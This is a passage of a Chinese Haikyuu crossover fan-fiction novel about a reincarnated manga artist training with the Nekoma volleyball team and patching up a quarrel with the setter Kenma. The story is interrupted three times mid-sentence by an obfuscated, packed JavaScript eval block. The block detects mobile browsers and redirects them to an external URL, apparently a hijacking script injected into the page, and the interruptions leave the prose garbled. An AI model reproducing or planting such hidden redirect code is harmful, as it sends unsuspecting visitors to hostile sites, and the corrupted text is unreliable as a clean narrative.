黑尾前辈每次一看到他稍有泄气,就会拿出孤爪研磨从小到大、各式各样的珍贵照片到他前面晃,像是用胡萝卜勾着驴拉磨一样,让某位漫画家不得不为了稀有素材而继续训练。
这样的强训大有成效。
音驹隔三差五会打队内练习赛,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12442991|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天满的体能开始撑不下一局,经历半个月的痛苦加训后已经能坚持打完一整局,训练结果让所有人都无比满意。
——这就是养成系的快乐吗!猫猫们满腔满腹都是成就感。
天满虽然累得出奇,但也有高兴的事情。
他再也不用再藏着掖着,终于可以光明正大地蹭到孤爪研磨边上采访他每次传球时时在想什么。
“对手的位置,队友的位置,有效的进攻点。”研磨默了默,“预测他们会是什么类型的人。”
他还问研磨是如何采取诱敌的策略。
“多亏大家让我减少移动量,再克制多余的身体活动。”研磨想,“这样会让对手关注某些刻意为之的动作。”
他又问研磨更喜欢哪种技巧?
“视线诱导吧,运动量最小。”只用动动眼球。
越问越多,直到最后天满变本加厉:“下一话你想采取什么战术?”
——这位漫画家已经完全放弃独立思考剧情了吗?
“……”研磨从球筐里捡起球,没什么精神,“你最好不要对我又太高的期待。”
“嗯?我觉得前辈很厉害的。”
“我只是一个非常普通的二传手,不是你的漫画主角。”
“没有啊,孤爪前辈和江边一样厉害,不!比江边还厉害!。”
孤爪研磨语塞,明明他在上一句还着重强调「普通」两个字。
虽然在市民体育馆看见过天满的跳跃,但在练习赛中,研磨多次站在他身侧传球,更为清晰地看见那样的进攻。
如果非要拿个词来形容,那就是——游刃有余的松弛感。
伊吹天满最强的能力并不是跳跃,而是强大的随机应变能力。
研磨观察,这个人起跳时似乎自己也没决定要怎么扣球,直到飞跃在空中的才根据现场情况,在短时间内迅速判断最佳的球路,然后用多变的攻击让对手吓一跳。
直线球、斜线球、吊球、反弹球、打手出界……每一球都没有失误。
伊吹天满像是牌桌上运气和牌技并重的的最强庄家,手上握着一手好牌,你完全猜不到他下一张会出什么——最后不断连庄,直至胜利。
这个新人虽然此时不是最佳状态,但等级却在高歌猛进地提升,而反观研磨自己早已触及到属性的天花板,长此以往他从各方面而言将不是个能配得上此等攻手的二传。
研磨从小就会过分在意别人的视线,但实际上却很少会因为外界评价而妄自菲薄,按幼驯染的话讲——他是个内心自洽理智而很少内耗的人。
但这不表明他没有脾气。
好吧,他承认,他有点因为天满连续半月都缠着他谈论那个神似自己的漫画主角而感到烦躁。
他和江边是完全不同的个体。
研磨可以为了队友稍微比平时更努力一点,但是天赋上限和个人秉性摆在那里,他不可能成为漫画里的主角江边,也永远也不想学着江边那样拼命,即使真的尽全力也做不到江边的那种开挂程度。
他也挺喜欢看那本漫画的,本来不在意伊吹拿他作为参考,可他突然想明白从入部一直以来伊吹天满的视线为何让他感到如此毛骨悚然。
那种眼神——并不是在看着孤爪研磨,而是透过自己在看心中喜爱的漫画主角。
“高等级玩家也不要希冀长得像传说武器的白板武器能打出像样的伤害,可以理解我的意思吗?”他最好提前和天满说清楚这件事。
伊吹天满对他的滤镜有点太厚了,经过思想美化过的对象,实际接触下来,只会留下更多的失望。
——什么意思?
天满试图吸收着这句有着过多定语的长句,但脑袋空空并无收获,他只能低着头看着前辈手里的排球,装作自己在思考的样子。
研磨抬头盯着他,金色的竖瞳眯起来,一眼就看出对面人的心不在焉。他突然觉得天满对于这种事情完全不敏感,他却固执地开始在意这件事,现在看上去就像是他单方面地在无理取闹。
好累。
他像是一拳打在一块软绵绵的棉花上。
“……没事,你就当我没说吧。”他把球丢回球框里,往场外走。
天满顿了顿,黑色的眸子望着地板。
虽然不知道为什么,但他察觉到孤爪研磨的神情并不是没事的模样,眉眼间有些低沉,而且似乎是因他而起。
——该说些什么吧。
天满望着孤爪前辈远去的背影,脑袋里突然蹦出这句话。
好吧,他是靠谱的成年男性,靠谱的成年男性绝不允许任何一句话随意撂在地上。
天满伸手,一把抓住研磨的手臂。
“我第一眼看到孤爪前辈,就对孤爪前辈一见钟情了。”
13.伞下的距离
孤爪研磨的表情惊恐地写着「你在说什么?」。
天满的表情更加惊恐地写着「我在说什么?」。
天满只想着要缓解气氛,但脱口而出的竟是这句——他为什么脑袋抽了开始复述伊吹那家伙在日记里的痴汉发言啊!
“我的意思是——前辈是我一见钟情的二传手,我只想让前辈给我传球。”
他紧急拉回话茬,用自己真实体会把痴汉发言硬生生找补回来。
“呃.....前辈总能判断出我的状态吧。”
从第一次练习赛开始,每一个练习赛猫又教练都特意会把他们两人分在一起,试图培养新攻手和二传的默契。
“自从发现我的体能还不算好,脑子里不免担心自己耐力会提前耗尽。即使刻意掩饰,我想…….孤爪前辈是不是还是能发现我在进攻和诱饵时的起步状态,依靠连我自己都判断不出的细微之处。”
伊吹天满并不是愣头青,一局比赛很长,而为了稳固住胜利,他会为了延长上场时间开始判断这个球是否值得认真起跳,主动节省体力。
“每当我脑子里冒出「这个位置可以进攻」的想法时,球都能刚刚好便传到我手里。”
他们在场上交流不多,甚至没有约定过任何信号,但每当他决定全力以赴跳跃时,他的视线上方一定会出现一颗恰到好处的传球。
第一次是碰巧,第二次是运气好,而每一次都这样那一定是刻意为之。
音驹的大脑像是能看透他的进攻策略一般,用自己的方式,默默地迁就着配合着他。
在他试图喘息时,孤爪研磨会在场上寻求其他进攻点,而在他想要飞跃冲锋时,孤爪研磨绝对不会浪费机会,让这次进攻实质化地给敌人造成巨额伤害。
孤爪研磨和伊吹天满的配合大部分时候使用第一节奏进攻——指二传脱手前,攻手已经开始助跑。这种进攻是让托球配合扣球,将托球给到攻手选择的落点。
俗称「快攻」。
第一节奏的主导者是攻手,但成功率更多依赖于二传手能不能跟上扣球,对传球的技术和双方的默契都是极大的考验。
甚至孤爪研磨还用了更费力的快速直传……而非省力的高抛球。
他们明明只认识一个月,根本没有多年配合的默契,但是音驹的大脑靠着自身出色的判断力逆转这条隐性要求。
——他一定能看到我。
天满的起跳开始变得越来越笃定,他身后的二传一定能洞悉他的想法,传来他迫切希望的妙传,然后——共同杀破拦网!
“没有前辈的传球,即使起跳也毫无意义。”他笑了笑,他发现孤爪前辈真的很爱用游戏举例,于是顺势而为地学起来,“所以前辈不是白板武器,更应该是全服仅此一件的百分百暴击专属武器吧。”
“……”
“啊……那换个例子,就像LoL的对局,当中单想莽上去干架时,自家打野恰到好处地准时gank。”
“……”
“再换个例子,FPS游戏里我想冲锋的时候,你在远处架枪狙击。”
“……够了,我能听懂。”
这家伙怎么有那么多古怪的例子。
孤爪研磨回头看着他,眼中竟是意味不明的神情——像是第一次在论坛用三无小号发战绩时收到的第一个认可的评论,没有人会不喜欢直白的称赞。
——但是时机不对,如果是其他时候,他一定会心里暗申爽,但在这个本该大声争论的时点说这些奇怪的话,他反而更火大……这家伙是不是天然过头了。
孤爪研磨轻轻磨了磨口中的牙齿,他觉得自己像是被戳破气的气球,变得干干瘪瘪的。
他手臂和天满的手掌隔着薄薄的衣袖,对方虽然面上如常实际好像一直很紧张,导致他的手臂上一直能感受过于滚烫的热意。
刻意减少情绪外露是孤爪研磨常做的事情。
他是个能不做就不做的节能主义者,不喜欢流汗,不喜欢说话,不喜欢情绪起伏,不喜欢做无意义的事情。
但是话已至此,即使存在白费口舌的可能性,他认为把一切都平铺直叙讲出来才是效率最高的做法。
“你的漫画很有趣,我不在意你在纸面上如何描绘你的人物。可是……”他慢条斯理地说,视线漂移到其他地方,像是在讲一个与自己无关的小事。
“你的视线和言语会让我感到不自在——因为你并不是在看着我,而更像是透过我在找寻你心仪的主人公。可从本质而言,我是我,而不是你漫画里的江边。”
研磨顿了顿,觉得语气越发有强硬,声音瞬间弱了很多,试图心平气和地陈述这件事。
“你不要多想,我并没有因为你把我画进漫画而生气。你可以和我讨论漫画,可以讨论排球,也可以讨论随便其他什么事情,但在此之前,我只是更希望你把我当作真实的人看待。”
他换了个身位,转过整个身体站在伊吹天满的正面前,他们两个的身高几乎一致,所以他不用抬头不用低头,就能正刚好与这个人平等地对视着。
他拉近了一点距离,金色的兽瞳微缩,直到能清晰地看见另一双漆黑眼眸中自己的身影。
“不要再用现在这种憧憬、希冀、期待的眼神看着我,用最正常的那种,像是你对待列夫对待小黑一样——这应该不算难吧,毕竟抛开创造灵感而言,对你而言,我应该本身只是一个普通的部门前辈。”
他再次着重强调「普通」这个形容词。
研磨思考,他应该已经把所有想说的话都传达完毕,心中倒有些宣泄后的畅快感,他继续望着天满,确保他完全理解自己的意思,不产生任何误会。
“可以听懂吗?”
“……”
天满愣在原地,他没有想过自己的所作所为对于孤爪前辈是一种困扰。设身处地地想,一直有人绕着身边追问着冒犯的事情,前辈忍到现在已经很给面子了。
“我……对不起。”天满这才意识到全部,“我知道了,我会注意的。”
“没让你道歉,听懂就好。”研磨伸出三根手指,“重复三遍,研磨不是江边。”
天满慢慢地点头,第一时间选择听话地重复着:“研磨不是江边、研磨不是江边、研磨不是江边。”
“记住了吗?”
“记住了。”
“嗯,多谢。”
“……”
虽然误会解决,但天满觉得自己好像和孤爪前辈闹掰了。
他们两个进入了一种玄之又玄的状态,在练习赛和训练中能默契配合,但在场下却很少交流。
这主要怪天满自己,他从上次的谈话开始,便不知道应以怎样合适的方式与孤爪前辈相处。
逃避虽然可耻,但是有用。
他开始破罐破摔,直接干脆利落地选择完全不相处。
除了这一点小波折外,以队员身份加入排球社后,天满的生活突然变得又青春又健康。
早晨七点跑五圈步,上午至下午上课学习,晚上回家写作到八九点,之后开始推进下一话漫画的工作,大概忙到十二点上床睡觉以免第二天六点多爬不起来。
“你……竟然还好好地活着?”住在同一栋公寓的野崎前辈第一个能感受到他的变化,打量上下后震惊极了,“而且脸色和精神反而更好了?”
“我也觉得奇怪。”天满想,“大概是好好吃饭、早睡早起、多多运动导致的?而且上次练习赛的素材足够我再水四话,只要分镜解决完后面都是不难的基础操作,最近几个月的截稿日应该都能顺利赶上。”
“你还可以再画一话季节梗,这样能再少想一话剧情。”
别太懂他,野崎前辈——他正打算在安定中学和清光中学的练习赛后,偷偷搞一话季节梗,名曰过渡章,实则水页数。
说到季节梗,大概就是画当前时间会做的一些事情,让读者有「他们仿佛在现实中和自己一样好好生活着」的实感。
新年就是春节参拜,二月份那必然是情人节,三月份则是白色情人节或者赏樱,暑假就去海边或者是祭典,冬天那就提一提圣诞节,实在想不来一点就画百看不厌的烟火大会,搞一搞浴衣paro。
“现在是四月快五月……”天满说。
“情侣伞。”来自少女漫作者。
“水枪大战。”来自少年漫作者。
“果然得画梅雨季节吧。”两个人异口同声。
樱花季过去后,就是东京的梅雨季节。四月末开始的天气预报中百分百降雨的概率开始增大,天空中会时不时飘落小雨,五月初的学生们会在这个湿润的时节迎来音驹的期中考试。
但是学生们其实除了煎熬还更多是激动,因为期中考试之后将会迎来黄金周,这算是春假和暑假之间最长的一次假期。在这个不算冷也不算热的时节,班上的同学刚好可以趁机约着一起出游。
但音驹排球部不在这个范围内,他们全员都要前往宫城进行外出集训,集训一共五天,猫又教练和宫城的好几所学校都预约了练习赛,行程非常密集。
第一天上午乘坐新干线,下午就要在宫城的排球训练馆进行内部训练,第二天迎战槻木泽高中,第三天迎战青叶城西高中,第四天迎战乌野高中,之后的时间便是给部员们逛宫城和买伴手礼的时间,第五天下午归程。
“你的体力还不能撑完三场比赛。”猫又教练专门来找天满。
天满叹了口气,准确说是最多只能打一场。
“这次远征对战其他学校,我的计划是你在第三轮作为主攻手上场。”猫又教练说,“如果前两轮拿下那么最好,如果没有就需要你上场力挽狂澜,用你们年轻人的话怎么说的——秘密武器。”
“......其实我也没有那么厉害。”力挽狂澜这个词实在太高估他了。
“我有说你很厉害吗?小鬼,就你这个体能,除了能跳一跳还有什么用,还不一定能轮到你上场呢。”猫又教练拍直他的脊背,“排球是场上六个人的运动,永远不是一位强者的单兵作战。不过在你能真正支撑起队伍之前,音驹的其他人会支撑你。”
“我们音驹的每个人都有潜力,可单拎出来都比不上前几名的种子学校。”他话风一转,“但是——像这样紧密地聚集起来,通过信任和羁绊维系彼此。我敢说此刻的东京赛区,就算是连胜的王者井闼山,我们也有机会撕下他们的翅膀。”
“不过最后一场乌野战,我想让你第一局就上场。”猫又教练露出猫咪一般狡诈的笑容,发出桀桀的得意笑声,“能撑一局就打一局,最好两局都给我撑下来——必须狠狠地给我零封他们。让那群又秃又掉毛的乌鸦见识见识,长翅膀永远比不过四条腿。”
“......”天满无助想跑。
所以——我现在算什么?长翅膀的还是四条腿的?
音驹毕竟是升学高校,为了让学生专心学习,期中考试这一整周的下午都没有安排训练。考完所有科目的第二天是休假日,给排球社社员们休整一天的时间,再下一天他们就要直接前往宫城。
考试的一周是煎熬的,天满阔别学校多少年,囫囵吞枣地学了学高一前的知识,能看懂题目已经很不错,考到最后也不知道自己能不能及格。
期中考试的最后一科终于结束,天满只想回家躺尸。
“啊,居然下雨了。”他站在教学楼门口望着外面。
雨越下越大,电闪雷鸣,像是练马区有什么得道高仙在渡劫一样。
早上的天气预报说今天是少有的晴天,导致不少人忘记带伞,教学楼门前的屋檐下聚着不少学生。
这种时候,就像是随手买的彩票中奖一般,他的书包里常备着折叠伞。
——毕竟经常要带着原稿去出版社,如果路上突逢暴雨把原稿淋湿,纸上的墨水会糊作一团,那就必须重画了。
他故作自如地撑起伞,顺便得意洋洋地回望一圈音驹学生的羡慕目光。
“还得是我们漫画家靠谱啊。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12459414|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他直直地对上了一双金色的眼睛,那位与他闹掰的二年级前辈坐在台阶的最角落,无语地拿着游戏机回望着说话的他。
“……”
几分钟后,音驹校外的道路上,伊吹天满和孤爪研磨并肩走在路上——在同一把伞下。
“谢谢。”研磨指了指伞。
“不客气,但要麻烦孤爪前辈要送我回家了。”天满说。
“没有,你的家比车站近。”
雨完全没有停止的迹象,看着孤爪研磨,天满脑袋里就冒出「不要特殊对待」的要求——如果是普通前辈,那么他一定会帮忙吧。
于是天满脑子仿佛被驴踢了几脚,竟然开口邀请孤爪研磨一起撑伞,先送他回公寓,然后孤爪前辈可以拿他的伞去车站回家。
折叠伞很小,但他们在男生中都算瘦弱的类型,勉强能保护着两个人脖子以上的部分。孤爪研磨一直在看自己的书包,尽量让它保持在伞下,防止他的游戏机进水。
——伞还是好小,早知道不答应了。
孤爪研磨抬头就能看见雨伞是往自己的一侧倾斜的,他的余光瞥了眼旁边的撑伞的人,伊吹正努力捍卫两人之间几厘米的缝隙,宁愿让自己多淋点雨。
——我是什么瘟神吗。
研磨早就发现天满最近躲着他,大概是因为上次的谈话,但总体而言自己的部活因为伊吹的退让轻松许多,所以他举双手支持天满躲着他。
可现在研磨沉默地往内侧靠了一下,让肩膀撞在一起。
“所以……今天孤爪前辈没有和黑尾前辈一起回家吗?”天满握着伞柄的手抖了抖,“上次说你们是邻居?”
“三年级的升学咨询,轮到小黑的班级,不知道什么时候能结束。”研磨解释,“而且小黑的爸爸也在,还是算了吧。”
音驹高中从第一年学期初就会开始收集未来志愿表,每年一次,但只有到三年级才会一对一地带着父母与班主任和年级长进行关于未来的深刻谈话。
“啊——升学咨询啊。”天满拖着长调。
“……为什么非要用这种老气横秋的语气。”
天满笑了笑:“说到这个话题,当然得用这种语气吧。”
两人的对话沉默这个话题中,继续向前走。
“升学志愿上,你会写什么?”研磨突然问。
“我?”天满回答,“大概是大学。”
孤爪研磨沉默,转头用金色的眼睛非常意外地盯着他,就像发现牧师突然掏出长剑一般不可思议。
“唉?前辈不会以为我考不上大学吧。”
“天满就知道漫画,每天根本没有在好好学习吧。”研磨实话实说。
——好犀利地吐槽,我竟无法反驳。
“别看我这样,我也是考上过……”天满刹住自己的话头,“美术大学的考试和普通大学的考试不一样,不怎么依赖文化课成绩。”
宇内天满本人实际上其实是个业界蛮常见的科班出身漫画家。
他三年级引退后便开始备考美术大学,又由于家里经济条件不好不可能让他去私立,目标只能定在最难考的国立美大——东京艺术大学,一所录取比率达到20:1的学校。
别看他的漫画人生很失败,但那纯属是剧情不行,构图和作画实际上算是最好的一批,毕竟有着学了多年油画功底在身上。
他当然不如那些一次上岸的人强,应届生的录取比率高达是50:1,他是复读一年才考上东京艺术大学油画科。
美术大学很磨练人,他却在那里真正意识到「人外有人,天外有天」,也是在那里想清楚自己未来究竟想要做什么。
比起画在美术馆里被经验人士用溢美之辞称赞的作品,他更想做出连小学生都能说出「很厉害」这句话的的作品!
“大概会试试设计系或者雕塑系,多掌握一些技能。”他想了想,多了一次人生,他想再去一次美院精进自己,“而且现在存款也够,也能去看看私立大学,像是武藏野或是多摩。”
上辈子考上东艺大纯属运气,他不想再经历一下那般可怕的纯应试竞争地狱了,其他私立学校允许带着个人作品面试,他以前姑且还有些能登上大雅之堂的画作。
“……”孤爪研磨点头,“我也填的是大学。”
天满有些好奇:“前辈是理科吧,具体想读什么专业?”
“没有想好。”
“这样啊。”
“像你一样,在这个年纪就确认好未来的方向,完全是少数派吧。”研磨淡淡地接着说,“我倒是好奇,你为什么这么早就能坚定地选择一件事?”
每个人的排球都有独特的球风。
天满从孤爪前辈的球风上能感受到谋划与果决,所以一直以为孤爪前辈早就想好人生大事,毕竟孤爪研磨的爱好表现得如此明显和从一而终。
可转念一想,球场上的一次触球和人生的广度长度并不一个量级,不能一概而论。
很多人都认为——喜欢的东西作为兴趣就好了。就像他们现在正在进行的义务教育,学习的目的仅仅为了考试,如果不坚持下去就会开始担心未来怎么办。
人的大部分欲望是依赖于社会模仿产生的,大多数人会选择去做普世意义上的正经职业,或者直接去走被他人看好的那条路。
像他这样,放弃引以为傲的事业,选择以画漫画为生的普通人生,在很多人看来根本很难养家糊口,成为一个不务正业且一事无成的大人。
可究竟什么才算是正确的选择呢?
——虽然他放弃了最擅长的排球。
——虽然他并没有过得想象中的那么好。
——虽然他上辈子的漫画人生总体而言是失败的。
“我当时没有想太多,就是想先试一试,加上有点感情用事,不过现在回过头看……”
雨伞下,孤爪研磨撞进一双澄澈明亮的黑眸。
“去做自己当下最想做的事情,难道不应该是理所当然的吗?”
14.心跳学院~dokidoki
“叨扰了。”孤爪研磨走进伊吹天满的租房。
他原本的目的是借天满的雨伞前往车站,但这场雨越下越大,头顶的闪电惊雷不断。出于保守目的,孤爪研磨在伊吹的公寓楼下查了下手机,果不其然——东京区域的电车全部停运了。
东京的电车网络一直都是这样,只要遇到暴雨就停运,市政府估计是处于懒政,从未采取过什么措施改善这个重要公共设施的排水系统。
“没事的,前辈。”天满从窗户打量着天色,虽然此时依旧是乌云密布,“一会儿肯定就放晴了,总不能下一晚上的雨吧。”
孤爪研磨从小就没什么亲近的朋友,几乎没有到过除了小黑以外的同龄人家里,这样误打误撞地进入学校后辈的家里,让他的动作有些拘谨。
他打量着这个房间,是个普通的一居室,狭窄拥挤但挺有生活气息。墙角的工作台上摆着画板和漫画专用纸张,笔筒里放着粗细不同的墨笔和铅笔。
——真有伊吹天满风格的房间啊。
“现在应该很多人都用电脑和数位板吧?”研磨坐到矮桌边的坐垫,把书包放到一旁。
“嗯,但我是老派的那类。”天满从冰箱拿来麦茶,“还是比较喜欢用纸笔。”
两个高中男生面对面对视,相顾无言。
虽然已经入队训练快一个月,但毕竟有年级差异,天满在球队里最熟的就是灰羽列夫,剩下的就是其他一年级的犬冈走,手白球彦和芝山优生。
至于前辈们中,猫又教练安排山本猛虎来带天满,天满和直白坦诚的人很容易混到一块去,而这位前辈性格热血,训练起来非常拼命,总能带着他多坚持一会儿。
除了基础训练以外,他开始教其他的攻手们一些扣球的小技巧,就像在教列夫一样,起到队内相互促进的作用。
另外一个就是夜久卫辅前辈,这位正选自由人最有耐性和关照后辈,经常特意过来询问他的适应情况。
最后是黑尾铁朗前辈,他每次来不是催更就是催更,他好像很热衷于这部漫画,形容词竟然是「很有推广和教育意义」,天满其实不太懂他的xp。
但除了孤爪前辈。
自从上次那次说错话,他和音驹的正选二传手就进入当下这种「相敬如宾」的奇妙状态。
孤爪前辈会按照猫又教练的指示带着他进行托球训练,也会在练习赛上不论公私地与他协同进攻,但两人独处之时便会突兀地冒出难言的不自在。
再夸一遍——虽然音驹的大脑长得没有任何攻击性,体能中等偏下,但单论技巧和智慧,天满实打实认为他是个高中联赛数一数二的二传手,传来的托球刚好在他最舒适的击球点上,也在对手的痛点上。
可作为正选二传,他还要给其他的部员们托球,部活进行到一半后孤爪前辈的体力电量达到底线就会自动进入省电模式,趁大家不注意缩在角落玩游戏偷懒,开始默默充电。
如今除了固定的训练外,天满都不好意思打扰孤爪前辈,大部分时间都去找一年级的二传手手白同学或者曾经是二传的直井老师。
所以他们最近交流的话语少之又少,平均值甚至没有今天撑伞时聊得多。
——人在尴尬的时候总会显得特别忙碌。
两个前后辈同学在矮桌前不约而同地掏出今天的作业,投入最大程度的认真在书本和题目上,目的都是避开更多出于社交目的的不相熟谈话。
孤爪研磨率先写完了作业,他开始玩包里的游戏机,直到玩到没电他才停止动作,接下来开始玩手机上的俄罗斯方块。
当天满把作业写完,他刚好在查阅新闻:“……好像电车还没恢复。”
“那我找找有没有能吃的东西。”
天满去厨房找了冰柜里的速食披萨,加热后端到桌上,又从柜子里找出薯片和山笋巧克力。
“总之,先找点事情来做吧。”天满拍拍手,吸引研磨的注意力,“最近男高中生都会一起做什么?”
他期待地看着全场唯一的真·男高。
“……打游戏。”可惜这个男高也不是什么传统男高。
“哦,我们玩之前那个太空枪战吧,很好玩。”
“我今天带的是PSP,而且已经没电。”
完蛋,两人好不容易找到的话题再次沉默。
“你平时在家都做什么?”研磨问,“可以做你想做的事情,我不介意。”
“肝漫画。”天满一刻都没有思考:“研磨前辈要帮我吗?涂黑、网点、擦除——都是新手可以直接上手的,你要选哪个?”
研磨摇头,表情拒绝:“我哪个也不想选。”
——好吧,这也不是一个传统男高。
看来一起画漫画不切实际,最终这两位男子高中生还是选择一起玩游戏。
“游戏机和手柄的话,我记得野崎前辈有。”
孤爪研磨愣愣地看他跑出租房,过了一会儿借回来楼下邻居家的游戏设备和手柄,还有新卡带。
“心跳学院……第三部。”孤爪研磨表情僵硬地读着游戏卡带的标题,“Galgame吗?”
这类游戏不在他的守备范围之内,但也玩过几个经典款。他更偏爱操作式的动作游戏,不常打纯文字剧情向的游戏,更何况是这种除了开后宫谈恋爱其他基本上什么也干不了的Galgame。
“刚刚御子柴前辈——就是野崎前辈的特效助手——非常强烈地和我安利这一部的剧情。”
这句话信息量有点大。
野崎?他不认识。但御子柴,应该是指二年七班的御子柴实琴吗……孤爪研磨记得这是他们年级相当有名的人物,他不太熟,但依稀记得那个人长得非常美型,说话有点轻佻。
——等等,御子柴应该不是会玩这种Galgame的私斋吗?或者难不成这个游戏真的是被他忽略的能让现充沉迷的神作?
“玩吧。”孤爪研磨果断同意,走上前熟练地用电视机连上设备,确认加载好游戏,界面上已经开始响起音乐和六个女生的剪影。
心跳学院的第三部比前两部在设置主角姓名的地方,还增添捏脸环节,可以选择喜欢的发色脸型眼睛之类的。
“总之先取名字,想一个好名字会让玩家更有动力。”
他的目光移向天满,手柄握在天满手里,这人正操作着轮盘果断且毫不犹豫地输入一个片假名,然后开始调整旁边的2d小人的头发和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12480601|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸型。
“江边……”研磨把视线移回屏幕,语气疲惫又无语,“你非要用这个人吗?”
“这是我生命中最重要的男人,我也想不到别人。”
“但这不是就是我吗?”
“前辈明明强调过自己不是江边。”
“换一个。”研磨咬牙切齿地命令道,关键是他和江边顶着一张脸,他完全不想看和他共脸的漫画主角在里面和暧昧女生卿卿我我。
天满屈服于前辈的威严,不情不愿地将主角名字和样貌换成了男二海成。然后电视屏幕上加载出一段入学的CG图,男主顶着「海成」的名字开始说着一通无意义的背景介绍——大概是转学生,因为父母工作搬迁再次回到老家上学,然后在路上撞到了一个女生。
——啊!这大概就是第一个攻略对象吧,好像是个小时候认识但搬家走了就失去联系的青梅竹马幼驯染。
“最好集中精力攻略一个角色,而且有难度的Galgame甚至会因为和其他女生心动值过高而进入不了单人剧情。”天满也是老二次元,他没有着急做选项决定,而是询问另一个人,“接下来先确认我们的攻略对象吧。既然名字是我取的,那研磨前辈来决定攻略哪个女生吧。”
“……”不,研磨只想在旁边静静地观看。
天满摊开游戏自带的说明书,从御姐前辈再到温柔路人女主,内封页里显示着六位性格各异的女孩子,推到孤爪研磨的面前,认真地问:“研磨前辈喜欢什么样的类型?”
孤爪研磨不想思考,随便用手点了其中一个。
“哦哦,这也是我想选的!”天满笑道,“看来研磨前辈和我的取向差不多啊。”
孤爪研磨定睛一看人设——内向文静的游戏宅女生,实则网游中的攻略大神。宣传图片里黑色顺直短发的少女拿着游戏手柄害羞地低着头,旁边赫然写着她的心动doki台词「好累,我们可以一起回家玩游戏吗?」。
不是——这个人设是不是有点太眼熟了。
“……”孤爪研磨陷入长久的沉默,“……原来你喜欢这种类型吗?”
“对啊,怎么了?”
“非要这个不可?”
“嗯,如果是这个就再好不过!”天满狠狠点头,“前辈是不是也感觉这个女生气质上和江边一模一样——我想看看这个游戏的人物塑造,而且网上攻略说她的剧情有去海边打沙排的过场CG,还能借鉴一下场景和构图。”
“……”
孤爪研磨的母语是无语。
——所以他没法逃开江边这个角色了吗……
——而且还没开始玩就去搜攻略和过场CG是对剧情类游戏的亵渎。
孤爪很多时候不想说话并不是孤僻,只是社交电量低懒得开口,他在熟识的人面前实际还算活跃,能好好交流的。
但他此时此刻是切切实实不想和眼前这个漫画笨蛋说任何一句多余的话。
“开始吧。”孤爪研磨失去欲望,“手柄给我,我来玩。”
总而言之,虽然经历了很多挫折和坎坷,虽然经历了很多争吵和妥协,但是伊吹天满和孤爪研磨最终还是顺利地开始攻略这位「内向文静的游戏宅女生」。
15.定情信物是块破披萨
孤爪前辈真的很擅长玩任何游戏——包括Galgame。
“为什么不去和她聊天?前辈已经连续选择三次「学习」了。”
这个游戏可以选择「学习」、「跑步」等选项进行基础面板的提升,每次选项会跳转小游戏通过最终得分来判断提升效果,除此之外,也可以操控主角去探索不同地点概率触发随机剧情,增添和某些攻略对象的好感。
“因为主角的头脑值太低。”
孤爪研磨点了点说明手册,尤其是那段描述性语句,解释说:“这个女生的爱好是游戏,但以主角好友处获得情报——她的成绩排名是全年级第一,进行单人剧情需要隐藏必然要求头脑值达到一定水平……看着这个面板上限,估计底线要求是十二到十五分。”
天满偷偷掏出手机上的攻略,果真上面写着十二分的头脑需求。
而孤爪研磨每次小游戏就能狂砍最高分数,一次就能拿到三分。
他默默地围观前辈连续五天都让主角回家学习,将手下的男主改造成了一个卷王学霸。
“等到期中考试拿到年级第一。”孤爪研磨操控着角色,进行音游一样的闯关游戏拿到Allbo后,抿嘴一笑,“走,我们去天台邂逅她。”
天满眼睁睁地孤爪前辈非常自信地选择下一个地点「天台」,然后瞬间触发了攻略对象的单人剧情。他这才想起之前路人给过的情报里,有人说天台总是有奇怪的声响。
「你……就是抢了我的年级第一的海成同学吗。」
「我……请拜托你……拜托你和我决斗吧——证明谁才是真正的最强。」
“不是……这个攻略对象的人设不是文静内向吗?”天满对这个剧情不满意,“她居然上来就决斗?”
“应该是背景故事。”孤爪研磨面无表情地按着A键,连对话都不仔细听,看见台词跳出来就换下一句,“估计是什么父母或者兄弟姐妹给的压力,老套的剧情。”
然后主角和女生约定三天后以「格斗游戏」决定胜负。
天满瘫在桌子上吐槽:“这个剧情设计太草率了吧,正常来讲难道不应该比期末考试谁考得高吗?”
“嗯……去提升速度吧。”孤爪研磨根本没听他说话,而是查看面板后立刻决定,“这三天都去体育馆跑步。”
“……”别跑,他看得要PTSD了,又学习又锻炼,感觉在复刻自己的劳模人生。
但孤爪研磨有自己的打算,他连续三天通过跑步来增添主角的速度,让主角速度模板刷到十分以后,动漫剧情按照时间流速,直接延续到下一步,主角来到游戏厅接受决斗。
「我很厉害的……你准备好了吗?」
“前辈,虽然你做的对,但最后的速度值应该不够。”天满翻着攻略,“十二分以上是简单关卡,以下则是复杂关卡。”
“少看攻略。”研磨看着屏幕中出现的类似JumpKing一样的跳跃游戏,“没事,不算难。”
“存个档吧。”
“存了。”
